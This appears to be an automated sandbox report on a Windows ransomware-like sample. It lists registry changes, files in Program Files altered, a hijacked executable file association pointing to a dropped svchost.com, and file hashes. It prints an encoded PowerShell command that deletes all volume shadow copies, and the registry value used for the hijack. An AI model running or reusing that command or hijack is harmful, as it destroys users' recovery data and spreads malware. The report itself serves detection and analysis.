3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\D: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\48y251y5.bmp" 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe -
Drops file in Program Files directory 64 IoCs
Processes:
3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exedescription ioc process File opened for modification \??\c:\program files\InitializeConvert.3gpp 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\INTERN~1\ieinstal.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\WI54FB~1\wmprph.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~3\PACKAG~1\{F4220~1\VC_RED~1.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\OutGrant.i64 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\UnregisterClear.potm 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jucheck.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~2.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~3\MICROS~1\CLICKT~1\{9AC08~1\INTEGR~1.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\ExpandCheckpoint.xml 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\LockDisable.dot 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\RestoreNew.aif 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\ADOBEA~1.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\AddDisconnect.midi 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\InvokeStep.jpeg 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\TraceSet.3gp2 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\WatchEnable.TTS 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jusched.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~3.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Google\Update\DISABL~1.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\INTERN~1\ExtExport.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\AssertOptimize.rmi 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\LimitGrant.vbs 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\MeasureMerge.ex_ 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Google\Update\1336~1.71\GOBD5D~1.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Google\Update\1336~1.71\GOF5E2~1.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\WINDOW~2\wab.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\ExitRestart.odp 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\ReadSkip.mid 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\RevokeProtect.dxf 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~4.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~1.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\WINDOW~4\ACCESS~1\wordpad.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\UnblockApprove.xla 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\INTERN~1\ielowutil.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File created \??\c:\program files (x86)\3vi9219dk-readme.txt 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\OptimizeMeasure.m1v 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\ReceiveRegister.M2TS 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\RenameConvertTo.pot 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\ResetRedo.rtf 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\WINDOW~2\wabmig.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\FindMount.fon 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroCEF\RdrCEF.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\Eula.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\64BITM~1.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\ConvertProtect.fon 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\DebugMove.avi 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\SetInstall.dxf 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\FULLTR~1.EXE 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\EnablePing.ex_ 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\MountInvoke.jtx 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\program files\SkipEnable.fon 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification C:\PROGRA~2\WI54FB~1\wmpconfig.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe -
Drops file in Windows directory 1 IoCs
Processes:
3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exedescription ioc process File opened for modification C:\Windows\svchost.com 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry class 1 IoCs
Processes:
3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*" 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exepowershell.exepid process 680 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe 680 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe 524 powershell.exe 524 powershell.exe 524 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 680 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe Token: SeDebugPrivilege 524 powershell.exe Token: SeBackupPrivilege 2436 vssvc.exe Token: SeRestorePrivilege 2436 vssvc.exe Token: SeAuditPrivilege 2436 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exedescription pid process target process PID 2668 wrote to memory of 680 2668 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe PID 2668 wrote to memory of 680 2668 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe PID 2668 wrote to memory of 680 2668 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe PID 680 wrote to memory of 524 680 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe powershell.exe PID 680 wrote to memory of 524 680 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe"C:\Users\Admin\AppData\Local\Temp\3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe"1⤵
- Modifies system executable filetype association
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\3582-490\3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe"C:\Users\Admin\AppData\Local\Temp\3582-490\3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe"2⤵
- Executes dropped EXE
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\3582-490\3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exeMD5
4dacc5edb44b305ab1f77a33b3e16362
SHA1dd413b4f2e6c4cb8dae4c41d95ef5ae92c1eba50
SHA25685f0d23c08ab9a6ce1cb28c6b0f943127e6425d1fc7baa9404fc87e1324f1cdc
SHA512e4140ad7c232f01045de0ebef18d8048d73ef7afe5147f1c744d2b90c1717ac70259afc494a9f708abf7cb89721d784aca19cba7e1f39bcd09834ea80a0e46da
-
C:\Users\Admin\AppData\Local\Temp\3582-490\3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exeMD5
4dacc5edb44b305ab1f77a33b3e16362
SHA1dd413b4f2e6c4cb8dae4c41d95ef5ae92c1eba50
SHA25685f0d23c08ab9a6ce1cb28c6b0f943127e6425d1fc7baa9404fc87e1324f1cdc
SHA512e4140ad7c232f01045de0ebef18d8048d73ef7afe5147f1c744d2b90c1717ac70259afc494a9f708abf7cb89721d784aca19cba7e1f39bcd09834ea80a0e46da
-
memory/524-122-0x000002646A600000-0x000002646A622000-memory.dmpFilesize
136KB
-
memory/524-127-0x000002646A7B0000-0x000002646A826000-memory.dmpFilesize
472KB
-
memory/524-133-0x00000264504C3000-0x00000264504C5000-memory.dmpFilesize
8KB
-
memory/524-130-0x00000264504C0000-0x00000264504C2000-memory.dmpFilesize
8KB